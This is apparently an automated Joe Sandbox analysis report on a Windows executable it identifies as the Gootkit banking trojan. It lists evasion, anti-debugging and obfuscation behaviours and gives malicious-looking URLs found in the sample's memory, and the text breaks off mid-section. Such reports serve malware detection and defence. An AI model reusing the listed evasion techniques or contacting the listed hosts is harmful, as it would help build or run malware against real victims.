Analysis Report 8UT1RfjZ0z.exe

Overview

General Information

Joe Sandbox Version:	24.0.0
Analysis ID:	61769
Start date:	09.10.2018
Start time:	20:05:40
Joe Sandbox Product:	Cloud
Overall analysis duration:	0h 16m 41s
Hypervisor based Inspection enabled:	true
Report type:	full
Sample file name:	8UT1RfjZ0z.exe
Cookbook file name:	default.jbs
Analysis system description:	W7x64 Native with HVM (patch level Feb 2018, Office 2016, Java 1.8.0_161, Flash 28, Acrobat Reader DC 18, Internet Explorer 11, Chrome 64, Firefox 58)
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies	HCA enabled EGA enabled GSI enabled (VBA) GSI enabled (Javascript) GSI enabled (Java)
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.bank.evad.winEXE@1/1@219/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 92% Number of executed functions: 69 Number of non-executed functions: 138
Cookbook Comments:	Adjust boot time Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): LMS.exe, IntelMeFWService.exe, sppsvc.exe, devmonsrv.exe, WMIADAP.exe, mediasrv.exe, obexsrv.exe, mscorsvw.exe, jhi_service.exe Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Detection

Strategy	Score	Range	Reporting	Detection
Threshold	84	0 - 100	Report FP / FN

Confidence

Strategy	Score	Range	Further Analysis Required?	Confidence
Threshold	5	0 - 5	false

Classification

Analysis Advice

Sample monitors Window changes (e.g. starting applications), analyze the sample with the 'Simulates keyboard and window changes' cookbook

Signature Overview

Click to jump to signature section

Spreading:

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_0041A4F0 GetProfilesDirectoryW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProfilesDirectoryW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,FindNextFileW,FindClose,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,	0_2_0041A4F0
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_0040E5B0 GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetSystemDirectoryW,lstrcatW,FindFirstFileW,StrRChrW,FindNextFileW,FindFirstFileW,FindClose,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,	0_2_0040E5B0
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_00419C40 GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProfilesDirectoryW,wsprintfW,FindFirstFileW,StrCpyW,StrCatW,wsprintfW,FindNextFileW,FindClose,ExpandEnvironmentStringsW,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,	0_2_00419C40
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_00403590 lstrlenW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,lstrcpyW,lstrcatW,lstrcpyW,lstrcatW,FindFirstFileW,lstrlenW,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,lstrcpyW,lstrcatW,lstrcatW,RemoveDirectoryW,GetLastError,DeleteFileW,GetLastError,FindNextFileW,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,	0_2_00403590

Networking:

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: pin.kmsconsultantsllc.com

Urls found in memory or binary data

Show sources

Source: 8UT1RfjZ0z.exe, 00000000.00000002.794851528.0000000002943000.00000004.sdmp	String found in binary or memory: https://pin.kmsconsultantsllc.com:80/rpersist4/1958300021
Source: 8UT1RfjZ0z.exe, 00000000.00000002.792580964.000000000207C000.00000004.sdmp	String found in binary or memory: https://pixmania.biz:80/
Source: 8UT1RfjZ0z.exe, 00000000.00000002.794804211.000000000291C000.00000004.sdmp, 8UT1RfjZ0z.exe, 00000000.00000002.794851528.0000000002943000.00000004.sdmp	String found in binary or memory: https://pixmania.biz:80/rpersist4/1958300021
Source: 8UT1RfjZ0z.exe, 00000000.00000002.794784118.0000000002910000.00000004.sdmp	String found in binary or memory: https://pizzza-la.com:80/
Source: 8UT1RfjZ0z.exe, 00000000.00000002.794804211.000000000291C000.00000004.sdmp, 8UT1RfjZ0z.exe, 00000000.00000002.794851528.0000000002943000.00000004.sdmp	String found in binary or memory: https://pizzza-la.com:80/rbody320
Source: 8UT1RfjZ0z.exe, 00000000.00000002.792580964.000000000207C000.00000004.sdmp	String found in binary or memory: https://stormsfronts.com:80/

E-Banking Fraud:

Detected Gootkit banking trojan

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: GetModuleHandleA,GetProcAddress,GlobalMemoryStatusEx,GetNativeSystemInfo,GetSystemInfo,RegOpenKeyW,RegQueryValueExW,StrStrIW,Sleep,RegCloseKey,Sleep,

0_2_0040DD20

System Summary:

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Memory allocated: 76EC0000 page execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Memory allocated: 76DC0000 page execute and read and write			Jump to behavior

Contains functionality to call native functions

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_00415620 LoadLibraryA,GetProcAddress,NtQuerySystemInformation,VirtualAlloc,NtQuerySystemInformation,VirtualFree,VirtualFree,

0_2_00415620

Contains functionality to launch a process as a different user

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_00408EC0 OpenProcess,ProcessIdToSessionId,OpenProcessToken,DuplicateTokenEx,SetTokenInformation,AllocateAndInitializeSid,GetLengthSid,SetTokenInformation,FreeSid,SetTokenInformation,CreateEnvironmentBlock,CreateProcessAsUserW,OpenProcessToken,CloseHandle,CloseHandle,DestroyEnvironmentBlock,CloseHandle,CloseHandle,CloseHandle,

0_2_00408EC0

Contains functionality to shutdown / reboot the system

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_0041AF10 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,

0_2_0041AF10

Creates mutexes

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Mutant created: \Sessions\1\BaseNamedObjects\ServiceEntryPointThread

Detected potential crypto function

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_00404E60	0_2_00404E60
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_0041A4F0	0_2_0041A4F0
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_0040EB00	0_2_0040EB00
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_00415FE0	0_2_00415FE0
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_00408EC0	0_2_00408EC0
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_004106C0	0_2_004106C0
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_004124A0	0_2_004124A0
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_004099B0	0_2_004099B0
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_004334C7	0_2_004334C7
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_00433D6E	0_2_00433D6E
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_0043417A	0_2_0043417A
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_0043399A	0_2_0043399A
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_0043459A	0_2_0043459A
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_0042D1A2	0_2_0042D1A2
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_1_004334C7	0_1_004334C7
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_1_0042D1A2	0_1_0042D1A2
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_1_00430BAF	0_1_00430BAF

PE file contains strange resources

Show sources

Source: 8UT1RfjZ0z.exe

Static PE information: Resource name: RT_ICON type: ump; GLS_BINARY_LSB_FIRST

Reads the hosts file

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Sample file is different than original file name gathered from version info

Show sources

Source: 8UT1RfjZ0z.exe, 00000000.00000002.796382376.0000000003880000.00000008.sdmp

Binary or memory string: OriginalFilenameKernelbasej% vs 8UT1RfjZ0z.exe

Sample reads its own file content

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

File read: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Jump to behavior

Classification label

Show sources

Source: classification engine

Classification label: mal84.bank.evad.winEXE@1/1@219/4

Contains functionality to adjust token privileges (e.g. debug / backup)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_0041AF10 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,		0_2_0041AF10
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_004047B0 LookupPrivilegeValueA,AdjustTokenPrivileges,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,		0_2_004047B0

Contains functionality to instantiate COM classes

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_0040D500 CoInitialize,CoCreateInstance,StrStrIW,StrStrIW,StrStrIW,StrCpyNW,CoTaskMemFree,CoTaskMemFree,CoTaskMemFree,CoTaskMemFree,CoUninitialize,

0_2_0040D500

Creates files inside the user directory

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

File created: C:\Users\user\Desktop\8UT1RfjZ0z.inf

Jump to behavior

PE file has an executable .text section and no other executable section

Show sources

Source: 8UT1RfjZ0z.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Reads software policies

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

PE file contains a valid data directory to section mapping

Show sources

Source: 8UT1RfjZ0z.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 8UT1RfjZ0z.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 8UT1RfjZ0z.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 8UT1RfjZ0z.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 8UT1RfjZ0z.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation:

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_0041B060 LoadLibraryA,GetProcAddress,SystemFunction036,

0_2_0041B060

Uses code obfuscation techniques (call, push, ret)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_0041FC3A push 00000002h; iretd	0_2_0041FC68
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_00420ACE push esp; ret	0_2_00420AD0
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_0041F08E push 65582770h; iretd	0_2_0041F0B8
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_0041FB57 push 00000041h; iretd	0_2_0041FB59
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_0041F3E2 push edi; retf	0_2_0041F3E3
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_1_0040203D push eax; ret	0_1_00402072
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_1_0040714A push eax; ret	0_1_004071D9
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_1_00401D4F push eax; iretd	0_1_00401D7E
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_1_00429509 push ecx; ret	0_1_0042951C
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_1_0040710D push eax; retf	0_1_0040710E
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_1_00401D1E push eax; iretd	0_1_00401D7E
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_1_0040D31B push eax; retf	0_1_0040D354
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_1_00405FDF push eax; retf	0_1_00405FF0
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_1_0040339F push esp; retf	0_1_004033A0

Hooking and other Techniques for Hiding and Protection:

Extensive use of GetProcAddress (often used to hide API calls)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_002302B2 RtlExitUserThread,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_002302B2

Disables application error messsages (SetErrorMode)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX

Jump to behavior

Malware Analysis System Evasion:

Checks if the current machine is a sandbox (computer name check)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Function Chain: GetComputerName, String check: SANDBOX
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Function Chain: GetComputerName, String check: SANDBOX
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Function Chain: GetComputerName, String check: SANDBOX
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Function Chain: GetComputerName, String check: SANDBOX

Checks if the current machine is a sandbox (user name check)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Function Chain: GetUserName, String check: CurrentUser
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Function Chain: GetUserName, String check: CurrentUser
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Function Chain: GetUserName, String check: CurrentUser
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Function Chain: GetUserName, String check: CurrentUser

Checks if the current machine is a virtual machine (via SystemBiosVersion)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Function Chain: Key Value Queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System SystemBiosVersion String check: AMI

Checks if the current machine is a virtual machine (via VideoBiosVersion)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Function Chain: Key Value Queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System VideoBiosVersion String check: VirtualBox
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Function Chain: Key Value Queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System VideoBiosVersion String check: VirtualBox

Checks if the machine has a Xeon CPU (likely to evade sandboxes)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Function Chain: Key Value Queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ProcessorNameString String check: Xeon
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Function Chain: Key Value Queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ProcessorNameString String check: Xeon
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Function Chain: Key Value Queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ProcessorNameString String check: Xeon
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Function Chain: Key Value Queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ProcessorNameString String check: Xeon

Contains functionality to compare user and computer (likely to detect sandboxes)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: GetModuleHandleA,GetModuleHandleA,GetUserNameA,lstrcmpA,lstrcmpA,GetComputerNameA,lstrcmpA,lstrcmpA,StrStrA,StrStrA,StrStrA,StrStrA,StrStrA,		0_2_00404E60
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: EntryPoint,SetErrorMode,SetErrorMode,LoadLibraryA,GetProcAddress,GetCommandLineW,GetProcessHeap,HeapAlloc,GetModuleFileNameW,StrStrIW,ExitProcess,StrStrIW,GetCurrentProcess,GetVersion,GetProcessHeap,HeapFree,ExitProcess,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,ExpandEnvironmentStringsW,ExpandEnvironmentStringsW,ExitProcess,CreateThread,CloseHandle,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,Sleep,		0_2_00415FE0

Contains functionality to detect sandboxes (checksum based sample name check)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_00404B80 PathFindFileNameW,

0_2_00404B80

Found evasive API chain (may stop execution after checking mutex)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_0-11752

Tries to detect Sandboxie (via GetModuleHandle check)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Module handle queried: sbiedll.dll

Jump to behavior

Contains capabilities to detect virtual machines

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion			Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion			Jump to behavior

Contains long sleeps (>= 3 min)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 539485	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 539485	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 494360	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 517719	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 494360	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 262154	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 517719	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 402700	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 539485	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 624507	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 623390	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 473701	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 413504	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 423282	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 304937	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 183540	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 576643	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Window / User API: threadDelayed 2107

Jump to behavior

Found evasive API chain (may stop execution after accessing registry keys)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

graph_0-12024

Found evasive API chain checking for process token information

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-12328

May sleep (evasive loops) to hinder dynamic analysis

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4048	Thread sleep time: -70000s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4036	Thread sleep time: -600000s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4044	Thread sleep count: 2107 > 30	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4044	Thread sleep time: -126420000s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4036	Thread sleep time: -539485s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4032	Thread sleep time: -539485s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4036	Thread sleep time: -494360s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4036	Thread sleep time: -517719s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4032	Thread sleep time: -1483080s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4036	Thread sleep time: -262154s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4032	Thread sleep time: -1035438s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4036	Thread sleep time: -153377s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4036	Thread sleep time: -402700s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4032	Thread sleep time: -539485s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4036	Thread sleep time: -624507s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4036	Thread sleep time: -623390s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4036	Thread sleep time: -473701s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4036	Thread sleep time: -413504s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4036	Thread sleep time: -70495s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4036	Thread sleep time: -423282s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4032	Thread sleep time: -153377s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4036	Thread sleep time: -304937s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4036	Thread sleep time: -183540s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4036	Thread sleep time: -576643s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4036	Thread sleep time: -170182s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe TID: 4012	Thread sleep time: -922337203685477s >= -60000s	Jump to behavior

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_0041A4F0 GetProfilesDirectoryW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProfilesDirectoryW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,FindNextFileW,FindClose,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,	0_2_0041A4F0
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_0040E5B0 GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetSystemDirectoryW,lstrcatW,FindFirstFileW,StrRChrW,FindNextFileW,FindFirstFileW,FindClose,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,	0_2_0040E5B0
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_00419C40 GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProfilesDirectoryW,wsprintfW,FindFirstFileW,StrCpyW,StrCatW,wsprintfW,FindNextFileW,FindClose,ExpandEnvironmentStringsW,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,	0_2_00419C40
Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe	Code function: 0_2_00403590 lstrlenW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,lstrcpyW,lstrcatW,lstrcpyW,lstrcatW,FindFirstFileW,lstrlenW,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,lstrcpyW,lstrcatW,lstrcatW,RemoveDirectoryW,GetLastError,DeleteFileW,GetLastError,FindNextFileW,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,	0_2_00403590

Contains functionality to query system information

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_0040DD20 GetModuleHandleA,GetProcAddress,GlobalMemoryStatusEx,GetNativeSystemInfo,GetSystemInfo,RegOpenKeyW,RegQueryValueExW,StrStrIW,Sleep,RegCloseKey,Sleep,

0_2_0040DD20

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Show sources

Source: 8UT1RfjZ0z.exe, 00000000.00000002.794851528.0000000002943000.00000004.sdmp, 8UT1RfjZ0z.inf.0.dr	Binary or memory string: [yaimujrpziogbwqemuywxocvawnpyymgcrbqpypanqhkiobylfhya]
Source: 8UT1RfjZ0z.exe, 00000000.00000002.794851528.0000000002943000.00000004.sdmp, 8UT1RfjZ0z.inf.0.dr	Binary or memory string: RunPreSetupCommands = yaimujrpziogbwqemuywxocvawnpyymgcrbqpypanqhkiobylfhya:2
Source: 8UT1RfjZ0z.inf.0.dr	Binary or memory string: RunPreSetupCommands = cileucmtoslylervmcixdihqdytfsevseapytofvj:2
Source: 8UT1RfjZ0z.inf.0.dr	Binary or memory string: [cileucmtoslylervmcixdihqdytfsevseapytofvj]

Program exit points

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

API call chain: ExitProcess graph end node

graph_0-11776

Queries a list of all running processes

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_0042DBBB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0042DBBB

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_0041B060 LoadLibraryA,GetProcAddress,SystemFunction036,

0_2_0041B060

Contains functionality to read the PEB

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_002304C1 mov eax, dword ptr fs:[00000030h]

0_2_002304C1

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Show sources

Source: C:\Users\user\Desktop\8UT1RfjZ0z.exe

Code function: 0_2_00406E70 LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,

0_2_00406E70

Contains functionality to register its own exception handler

Show sources

